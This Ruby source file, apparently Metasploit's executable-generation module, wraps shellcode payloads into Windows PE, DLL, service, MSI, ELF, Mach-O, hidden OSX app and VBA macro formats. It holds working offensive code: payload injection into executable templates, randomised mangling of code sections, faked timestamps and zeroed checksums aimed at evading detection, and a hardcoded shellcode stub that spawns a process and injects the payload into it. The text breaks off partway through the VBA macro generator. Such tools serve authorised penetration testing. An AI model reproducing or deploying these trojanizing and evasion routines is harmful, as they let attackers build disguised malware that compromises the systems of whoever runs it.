# -*- coding: binary -*-

module Msf
module Util

#
# The class provides methods for creating and encoding executable file
# formats for various platforms. It is a replacement for the previous
# code in Rex::Text
#
class EXE

require 'rex'
require 'rex/peparsey'
require 'rex/pescan'
require 'rex/random_identifier_generator'
require 'rex/zip'
require 'metasm'
require 'digest/sha1'
require 'msf/core/exe/segment_injector'

  ##
  #
  # Helper functions common to multiple generators
  #
  ##

  def self.set_template_default(opts, exe = nil, path = nil)
    # If no path specified, use the default one.
    path ||= File.join(Msf::Config.data_directory, "templates")

    # If there's no default name, we must blow it up.
    unless exe
      raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +
      'without default exe name!'
    end

    # Use defaults only if nothing is specified
    opts[:template_path] ||= path
    opts[:template] ||= exe

    # Only use the path when the filename contains no separators.
    unless opts[:template].include?(File::SEPARATOR)
      opts[:template] = File.join(opts[:template_path], opts[:template])
    end

    # Check if it exists now
    return if File.file?(opts[:template])

    # If it failed, try the default...
    if opts[:fallback]
      default_template = File.join(path, exe)
      if File.file?(default_template)
        # Perhaps we should warn about falling back to the default?
        opts.merge!({ :fellback => default_template })
        opts[:template] = default_template
      end
    end
  end

  def self.read_replace_script_template(filename, hash_sub)
    template_pathname = File.join(Msf::Config.data_directory, "templates",
                                  "scripts", filename)
    template = ''
    File.open(template_pathname, "rb") {|f| template = f.read}
    template % hash_sub
  end

  ##
  #
  # Executable generators
  #
  ##

  def self.to_executable(framework, arch, plat, code = '', opts = {})
    if arch.index(ARCH_X86)

      if plat.index(Msf::Module::Platform::Windows)
        return to_win32pe(framework, code, opts)
      end

      if plat.index(Msf::Module::Platform::Linux)
        return to_linux_x86_elf(framework, code)
      end

      if plat.index(Msf::Module::Platform::OSX)
        return to_osx_x86_macho(framework, code)
      end

      if plat.index(Msf::Module::Platform::BSD)
        return to_bsd_x86_elf(framework, code)
      end

      if plat.index(Msf::Module::Platform::Solaris)
        return to_solaris_x86_elf(framework, code)
      end

      # XXX: Add remaining x86 systems here
    end

    if arch.index(ARCH_X86_64) || arch.index(ARCH_X64)
      if (plat.index(Msf::Module::Platform::Windows))
        return to_win64pe(framework, code, opts)
      end

      if plat.index(Msf::Module::Platform::Linux)
        return to_linux_x64_elf(framework, code, opts)
      end

      if plat.index(Msf::Module::Platform::OSX)
        return to_osx_x64_macho(framework, code)
      end
    end

    if arch.index(ARCH_ARMLE)
      if plat.index(Msf::Module::Platform::OSX)
        return to_osx_arm_macho(framework, code)
      end

      if plat.index(Msf::Module::Platform::Linux)
        return to_linux_armle_elf(framework, code)
      end

      # XXX: Add remaining ARMLE systems here
    end

    if arch.index(ARCH_PPC)
      if plat.index(Msf::Module::Platform::OSX)
        return to_osx_ppc_macho(framework, code)
      end
      # XXX: Add PPC OS X and Linux here
    end

    if arch.index(ARCH_MIPSLE)
      if plat.index(Msf::Module::Platform::Linux)
        return to_linux_mipsle_elf(framework, code)
      end
      # XXX: Add remaining MIPSLE systems here
    end

    if arch.index(ARCH_MIPSBE)
      if plat.index(Msf::Module::Platform::Linux)
        return to_linux_mipsbe_elf(framework, code)
      end
      # XXX: Add remaining MIPSLE systems here
    end
    nil
  end

  # Clears the DYNAMIC_BASE flag for a Windows executable
  # @param exe [String] The raw executable to be modified by the method
  # @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file
  # @return [String] the modified executable
  def self.clear_dynamic_base(exe, pe)
    c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse
    c_bits[6] = 0 # DYNAMIC_BASE
    new_dllcharacteristics = c_bits.reverse.join.to_i(2)

    # PE Header Pointer offset = 60d
    # SizeOfOptionalHeader offset = 94h
    dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94
    exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")
    exe
  end

  def self.to_win32pe(framework, code, opts = {})

    # For backward compatability, this is roughly equivalent to 'exe-small' fmt
    if opts[:sub_method]
      if opts[:inject]
        raise RuntimeError, 'NOTE: using the substitution method means no inject support'
      end

      # use
      self.to_win32pe_exe_sub(framework, code, opts)
    end

    # Allow the user to specify their own EXE template
    set_template_default(opts, "template_x86_windows.exe")

    # Copy the code to a new RWX segment to allow for self-modifying encoders
    payload = win32_rwx_exec(code)

    # Create a new PE object and run through sanity checks
    fsize = File.size(opts[:template])
    pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)

    text = nil
    pe.sections.each {|sec| text = sec if sec.name == ".text"}

    #try to inject code into executable by adding a section without affecting executable behavior
    if opts[:inject]
      injector = Msf::Exe::SegmentInjector.new({
          :payload  => code,
          :template => opts[:template],
          :arch     => :x86
      })
      return injector.generate_pe
    end

    raise RuntimeError, "No .text section found in the template" unless text

    unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
      raise RuntimeError, "The .text section does not contain an entry point"
    end

    p_length = payload.length + 256
    if text.size < p_length
      fname = ::File.basename(opts[:template])
      msg  = "The .text section for '#{fname}' is too small. "
      msg << "Minimum is #{p_length.to_s} bytes, your .text section is " +
             "#{text.size.to_s} bytes"
      raise RuntimeError, msg
    end

    # Store some useful offsets
    off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
    off_beg = pe.rva_to_file_offset(text.base_rva)

    # We need to make sure our injected code doesn't conflict with the
    # the data directories stored in .text (import, export, etc)
    mines = []
    pe.hdr.opt['DataDirectory'].each do |dir|
      next if dir.v['Size'] == 0
      next unless text.contains_rva?(dir.v['VirtualAddress'])
      delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg
      mines << [delta, dir.v['Size']]
    end

    # Break the text segment into contiguous blocks
    blocks = []
    bidx   = 0
    mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
      bbeg = bidx
      bend = mine[0]
      blocks << [bidx, bend-bidx] if bbeg != bend
      bidx = mine[0] + mine[1]
    end

    # Add the ending block
    blocks << [bidx, text.size - bidx] if bidx < text.size - 1

    # Find the largest contiguous block
    blocks.sort!{|a,b| b[1]<=>a[1]}
    block = blocks.first

    # TODO: Allow the entry point in a different block
    if payload.length + 256 > block[1]
      raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"
    end

    # Make a copy of the entire .text section
    data = text.read(0,text.size)

    # Pick a random offset to store the payload
    poff = rand(block[1] - payload.length - 256)

    # Flip a coin to determine if EP is before or after
    eloc = rand(2)
    eidx = nil

    # Pad the entry point with random nops
    entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)

    # Pick an offset to store the new entry point
    if eloc == 0 # place the entry point before the payload
      poff += 256
      eidx = rand(poff-(entry.length + 5))
    else          # place the entry pointer after the payload
      poff -= 256
      eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
    end

    # Relative jump from the end of the nops to the payload
    entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')

    # Mangle 25% of the original executable
    1.upto(block[1] / 4) do
      data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
    end

    # Patch the payload and the new entry point into the .text
    data[block[0] + poff, payload.length] = payload
    data[block[0] + eidx, entry.length]   = entry

    # Create the modified version of the input executable
    exe = ''
    File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}

    a = [text.base_rva + block.first + eidx].pack("V")
    exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a
    exe[off_beg, data.length] = data

    tds = pe.hdr.file.TimeDateStamp
    exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")

    cks = pe.hdr.opt.CheckSum
    unless cks == 0
      exe[exe.index([cks].pack('V')), 4] = [0].pack("V")
    end

    exe = clear_dynamic_base(exe, pe)
    pe.close

    exe
  end

  def self.to_winpe_only(framework, code, opts = {}, arch="x86")
    arch = ARCH_X64 if arch == ARCH_X86_64

    # Allow the user to specify their own EXE template
    set_template_default(opts, "template_#{arch}_windows.exe")

    pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)

    exe = ''
    File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}

    pe_header_size = 0x18
    entryPoint_offset = 0x28
    section_size = 0x28
    characteristics_offset = 0x24
    virtualAddress_offset = 0x0c
    sizeOfRawData_offset = 0x10

    sections_table_offset =
      pe._dos_header.v['e_lfanew'] +
      pe._file_header.v['SizeOfOptionalHeader'] +
      pe_header_size

    sections_table_characteristics_offset = sections_table_offset + characteristics_offset

    sections_header = []
    pe._file_header.v['NumberOfSections'].times do |i|
      section_offset = sections_table_offset + (i * section_size)
      sections_header << [
        sections_table_characteristics_offset + (i * section_size),
        exe[section_offset,section_size]
      ]
    end

    addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint

    # look for section with entry point
    sections_header.each do |sec|
      virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
      sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
      characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]

      if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
        importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
        if (importsTable - addressOfEntryPoint) < code.length
          #shift original entry point to prevent tables overwritting
          addressOfEntryPoint = importsTable - code.length + 4

          entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
          exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
        end
        # put this section writable
        characteristics |= 0x8000_0000
        newcharacteristics = [characteristics].pack('V')
        exe[sec[0],newcharacteristics.length] = newcharacteristics
      end
    end

    # put the shellcode at the entry point, overwriting template
    entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
    exe[entryPoint_file_offset,code.length] = code
    exe = clear_dynamic_base(exe, pe)
    exe
  end

  def self.to_win32pe_old(framework, code, opts = {})

    payload = code.dup
    # Allow the user to specify their own EXE template
    set_template_default(opts, "template_x86_windows_old.exe")

    pe = ''
    File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}

    if payload.length <= 2048
      payload << Rex::Text.rand_text(2048-payload.length)
    else
      raise RuntimeError, "The EXE generator now has a max size of 2048 " +
                          "bytes, please fix the calling module"
    end

    bo = pe.index('PAYLOAD:')
    unless bo
      raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"
    end
    pe[bo, payload.length] = payload

    pe[136, 4] = [rand(0x100000000)].pack('V')

    ci = pe.index("\x31\xc9" * 160)
    unless ci
      raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""
    end
    cd = pe.index("\x31\xc9" * 160, ci + 320)
    unless cd
      raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""
    end
    rc = pe[ci+320, cd-ci-320]

    # 640 + rc.length bytes of room to store an encoded rc at offset ci
    enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
    lft = 640+rc.length - enc.length

    buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
    pe[ci, buf.length] = buf

    # Make the data section executable
    xi = pe.index([0xc0300040].pack('V'))
    pe[xi,4] = [0xe0300020].pack('V')

    # Add a couple random bytes for fun
    pe << Rex::Text.rand_text(rand(64)+4)
    pe
  end


  # Splits a string into a number of assembly push operations
  #
  # @param string [String] string to be used
  #
  # @return [String] null terminated string as assembly push ops
  def self.string_to_pushes(string)
    str = string.dup
    # Align string to 4 bytes
    rem = (str.length) % 4
    if rem > 0
      str << "\x00" * (4 - rem)
      pushes = ''
    else
      pushes = "h\x00\x00\x00\x00"
    end
    # string is now 4 bytes aligned with null byte

    # push string to stack, starting at the back
    while str.length > 0
      four = 'h'+str.slice!(-4,4)
      pushes << four
    end

    pushes
  end

  def self.exe_sub_method(code,opts ={})
    pe = self.get_file_contents(opts[:template])

    case opts[:exe_type]
    when :service_exe
      max_length = 8192
      name = opts[:servicename]
      if name
        bo = pe.index('SERVICENAME')
        unless bo
          raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"
        end
        pe[bo, 11] = [name].pack('a11')
      end
      pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
    when :dll
      max_length = 2048
    when :exe_sub
      max_length = 4096
    end

    bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")

    if code.length <= max_length
      pe[bo, code.length] = [code].pack("a*")
    else
      raise RuntimeError, "The EXE generator now has a max size of " +
                          "#{max_length} bytes, please fix the calling module"
    end

    if opts[:exe_type] == :dll
      mt = pe.index('MUTEX!!!')
      pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt

      if opts[:dll_exitprocess]
        exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
        exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
        et_index =  pe.index(exit_thread)
        if et_index
          pe[et_index,exit_process.length] = exit_process
        else
          raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
        end
      end
    end

    pe
  end

  def self.to_win32pe_exe_sub(framework, code, opts = {})
    # Allow the user to specify their own DLL template
    set_template_default(opts, "template_x86_windows.exe")
    opts[:exe_type] = :exe_sub
    exe_sub_method(code,opts)
  end

  def self.to_win64pe(framework, code, opts = {})
    # Allow the user to specify their own EXE template
    set_template_default(opts, "template_x64_windows.exe")
    #try to inject code into executable by adding a section without affecting executable behavior
    if opts[:inject]
      injector = Msf::Exe::SegmentInjector.new({
         :payload  => code,
         :template => opts[:template],
         :arch     => :x64
      })
      return injector.generate_pe
    end
    opts[:exe_type] = :exe_sub
    exe_sub_method(code,opts)
  end

  # Embeds shellcode within a Windows PE file implementing the Windows
  # service control methods.
  #
  # @param framework [Object]
  # @param code [String] shellcode to be embedded
  # @option opts [Boolean] :sub_method use substitution technique with a
  #   service template PE
  # @option opts [String] :servicename name of the service, not used in
  #   substituion technique
  #
  # @return [String] Windows Service PE file
  def self.to_win32pe_service(framework, code, opts = {})
    if opts[:sub_method]
      # Allow the user to specify their own service EXE template
      set_template_default(opts, "template_x86_windows_svc.exe")
      opts[:exe_type] = :service_exe
      return exe_sub_method(code,opts)
    else
      name = opts[:servicename]
      name ||= Rex::Text.rand_text_alpha(8)
      pushed_service_name = string_to_pushes(name)

      precode_size = 0xc6
      svcmain_code_offset = precode_size + pushed_service_name.length

      precode_size = 0xcc
      hash_code_offset = precode_size + pushed_service_name.length

      precode_size = 0xbf
      svcctrlhandler_code_offset = precode_size + pushed_service_name.length

      code_service_stopped =
        "\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
        "#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +
        "\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
        "\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
        "\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"

      precode_size = 0x42
      shellcode_code_offset = code_service_stopped.length + precode_size

      # code_service could be encoded in the future
      code_service =
        "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
        "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
        "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
        "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
        "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
        "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
        "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
        "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
        "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
        "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
        "\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
        "\x8D\x85#{[svcmain_code_offset].pack('<I')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
        "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
        "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
        "#{[hash_code_offset].pack('<I') + pushed_service_name}\x89\xE1\x8D" +
        "\x85#{[svcctrlhandler_code_offset].pack('<I')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
        "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
        "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
        "\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
        "\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
        "\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
        "\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
        "\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('<I')}\x57\x51\x68\xAE\x87" +
        "\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
        "#{[shellcode_code_offset].pack('<I')}\x54\x68#{[code.length].pack('<I')}" +
        "\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
        "\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
        "\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
        "\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"

      to_winpe_only(framework, code_service + code, opts)
    end
  end

  def self.to_win64pe_service(framework, code, opts = {})
    # Allow the user to specify their own service EXE template
    set_template_default(opts, "template_x64_windows_svc.exe")
    opts[:exe_type] = :service_exe
    exe_sub_method(code,opts)
  end

  def self.to_win32pe_dll(framework, code, opts = {})
    # Allow the user to specify their own DLL template
    set_template_default(opts, "template_x86_windows.dll")
    opts[:exe_type] = :dll

    if opts[:inject]
      self.to_win32pe(framework, code, opts)
    else
      exe_sub_method(code,opts)
    end
  end

  def self.to_win64pe_dll(framework, code, opts = {})
    # Allow the user to specify their own DLL template
    set_template_default(opts, "template_x64_windows.dll")
    opts[:exe_type] = :dll

    if opts[:inject]
      raise RuntimeError, 'Template injection unsupported for x64 DLLs'
    else
      exe_sub_method(code,opts)
    end
  end

  #
  #   Wraps an executable inside a Windows
  #    .msi file for auto execution when run
  #
  def self.to_exe_msi(framework, exe, opts = {})
    if opts[:uac]
      opts[:msi_template] ||= "template_windows.msi"
    else
      opts[:msi_template] ||= "template_nouac_windows.msi"
    end
    replace_msi_buffer(exe, opts)
  end

  def self.replace_msi_buffer(pe, opts)
    opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")

    if opts[:msi_template].include?(File::SEPARATOR)
      template = opts[:msi_template]
    else
      template = File.join(opts[:msi_template_path], opts[:msi_template])
    end

    msi = self.get_file_contents(template)

    section_size =	2**(msi[30..31].unpack('v')[0])

    # This table is one of the few cases where signed values are needed
    sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')

    buffer_chain = []

    # This is closely coupled with the template provided and ideally
    # would be calculated from the dir stream?
    current_secid = 5

    until current_secid == -2
      buffer_chain << current_secid
      current_secid = sector_allocation_table[current_secid]
    end

    buffer_size = buffer_chain.length * section_size

    if pe.size > buffer_size
      raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
    end

    pe_block_start = 0
    pe_block_end = pe_block_start + section_size - 1

    buffer_chain.each do |section|
      block_start = section_size * (section + 1)
      block_end = block_start + section_size - 1
      pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
      msi[block_start..block_end] = pe_block
      pe_block_start = pe_block_end + 1
      pe_block_end += section_size
    end

    msi
  end

  def self.to_osx_arm_macho(framework, code, opts = {})

    # Allow the user to specify their own template
    set_template_default(opts, "template_armle_darwin.bin")

    mo = self.get_file_contents(opts[:template])
    bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag")
    mo[bo, code.length] = code
    mo
  end

  def self.to_osx_ppc_macho(framework, code, opts = {})

    # Allow the user to specify their own template
    set_template_default(opts, "template_ppc_darwin.bin")

    mo = self.get_file_contents(opts[:template])
    bo = self.find_payload_tag(mo, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag")
    mo[bo, code.length] = code
    mo
  end

  def self.to_osx_x86_macho(framework, code, opts = {})

    # Allow the user to specify their own template
    set_template_default(opts, "template_x86_darwin.bin")

    mo = self.get_file_contents(opts[:template])
    bo = self.find_payload_tag(mo, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag")
    mo[bo, code.length] = code
    mo
  end

  def self.to_osx_x64_macho(framework, code, opts = {})
    set_template_default(opts, "template_x64_darwin.bin")

    macho = self.get_file_contents(opts[:template])
    bin = self.find_payload_tag(macho,
            "Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag")
    macho[bin, code.length] = code
    macho
  end

  # @param [Hash] opts the options hash
  # @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user)
  # @option opts [String] :app_name (random) the name of the OSX app
  # @option opts [String] :hidden (true) hide the app when it is running
  # @option opts [String] :plist_extra ('') some extra data to shove inside the Info.plist file
  # @return [String] zip archive containing an OSX .app directory
  def self.to_osx_app(exe, opts = {})
    exe_name    = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }
    app_name    = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }
    hidden      = opts.fetch(:hidden, true)
    plist_extra = opts.fetch(:plist_extra, '')

    app_name.chomp!(".app")
    app_name += ".app"

    visible_plist = if hidden
      %Q|
      <key>LSBackgroundOnly</key>
      <string>1</string>
      |
    else
      ''
    end

    info_plist = %Q|
      <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>CFBundleExecutable</key>
  <string>#{exe_name}</string>
  <key>CFBundleIdentifier</key>
  <string>com.#{exe_name}.app</string>
  <key>CFBundleName</key>
  <string>#{exe_name}</string>#{visible_plist}
  <key>CFBundlePackageType</key>
  <string>APPL</string>
  #{plist_extra}
</dict>
</plist>
    |

    zip = Rex::Zip::Archive.new
    zip.add_file("#{app_name}/", '')
    zip.add_file("#{app_name}/Contents/", '')
    zip.add_file("#{app_name}/Contents/MacOS/", '')
    zip.add_file("#{app_name}/Contents/Resources/", '')
    zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe)
    zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
    zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
    zip.pack
  end

  # Create an ELF executable containing the payload provided in +code+
  #
  # For the default template, this method just appends the payload, checks if
  # the template is 32 or 64 bit and adjusts the offsets accordingly
  # For user-provided templates, modifies the header to mark all executable
  # segments as writable and overwrites the entrypoint (usually _start) with
  # the payload.
  #
  def self.to_exe_elf(framework, opts, template, code, big_endian=false)

    # Allow the user to specify their own template
    set_template_default(opts, template)

    # The old way to do it is like other formats, just overwrite a big
    # block of rwx mem with our shellcode.
    #bo = elf.index( "\x90\x90\x90\x90" * 1024 )
    #co = elf.index( " " * 512 )
    #elf[bo, 2048] = [code].pack('a2048') if bo

    # The new template is just an ELF header with its entry point set to
    # the end of the file, so just append shellcode to it and fixup
    # p_filesz and p_memsz in the header for a working ELF executable.
    elf = self.get_file_contents(opts[:template])
    elf << code

    # Check EI_CLASS to determine if the header is 32 or 64 bit
    # Use the proper offsets and pack size
    case elf[4,1].unpack("C").first
    when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
      if big_endian
        elf[0x44,4] = [elf.length].pack('N') #p_filesz
        elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
      else # little endian
        elf[0x44,4] = [elf.length].pack('V') #p_filesz
        elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
      end
    when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
      if big_endian
        elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
        elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
      else # little endian
        elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
        elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
      end
    else
      raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
    end

    elf
  end

  # Create a 32-bit Linux ELF containing the payload provided in +code+
  def self.to_linux_x86_elf(framework, code, opts = {})
    default = true unless opts[:template]

    if default
      elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
    else
      # If this isn't our normal template, we have to do some fancy
      # header patching to mark the .text section rwx before putting our
      # payload into the entry point.

      # read in the template and parse it
      e = Metasm::ELF.decode_file(opts[:template])

      # This will become a modified copy of the template's original phdr
      new_phdr = Metasm::EncodedData.new
      e.segments.each { |s|
        # Be lazy and mark any executable segment as writable.  Doing
        # it this way means we don't have to care about which one
        # contains .text
        s.flags += [ "W" ] if s.flags.include? "X"
        new_phdr << s.encode(e)
      }

      # Copy the original file
      elf = self.get_file_contents(opts[:template], "rb")

      # Replace the header with our rwx modified version
      elf[e.header.phoff, new_phdr.data.length] = new_phdr.data

      # Replace code at the entrypoint with our payload
      entry_off = e.addr_to_off(e.label_addr('entrypoint'))
      elf[entry_off, code.length] = code
    end

    elf
  end

  # Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+
  def self.to_bsd_x86_elf(framework, code, opts = {})
    to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
  end

  # Create a 32-bit Solaris ELF containing the payload provided in +code+
  def self.to_solaris_x86_elf(framework, code, opts = {})
    to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
  end

  # Create a 64-bit Linux ELF containing the payload provided in +code+
  def self.to_linux_x64_elf(framework, code, opts = {})
    to_exe_elf(framework, opts, "template_x64_linux.bin", code)
  end

  # Create a 64-bit Linux ELF_DYN containing the payload provided in +code+
  def self.to_linux_x64_elf_dll(framework, code, opts = {})
    to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
  end

  def self.to_linux_armle_elf(framework, code, opts = {})
    to_exe_elf(framework, opts, "template_armle_linux.bin", code)
  end

  def self.to_linux_mipsle_elf(framework, code, opts = {})
    to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
  end

  def self.to_linux_mipsbe_elf(framework, code, opts = {})
    to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)
  end

  def self.to_exe_vba(exes='')
    exe = exes.unpack('C*')
    hash_sub = {}
    idx = 0
    maxbytes = 2000
    var_base_idx = 0
    var_base = Rex::Text.rand_text_alpha(5).capitalize

    # First write the macro into the vba file
    hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
    hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s
    hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s
    hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s
    hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s
    hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s
    hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s
    hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s
    hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s
    hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s
    hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s
    hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s
    hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)

    # Function 1 extracts the binary
    hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s

    # Function 2 executes the binary
    hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s

    hash_sub[:data] = ""

    # Writing the bytes of the exe to the file
    1.upto(exe.length) do |pc|
      while c = exe[idx]
        hash_sub[:data] << "&H#{("%.2x" % c).upcase}"
        if idx > 1 && (idx % maxbytes) == 0
          # When maxbytes are written make a new paragrpah
          hash_sub[:data] << "\r\n"
        end
        idx += 1
      end
    end

    read_replace_script_template("to_exe.vba.template", hash_sub)
  end

  def self.to_vba(framework,code,opts = {})
    hash_sub = {}
    hash_sub[:var_myByte]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_myArray]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_rwxpage]  	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_res]      	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
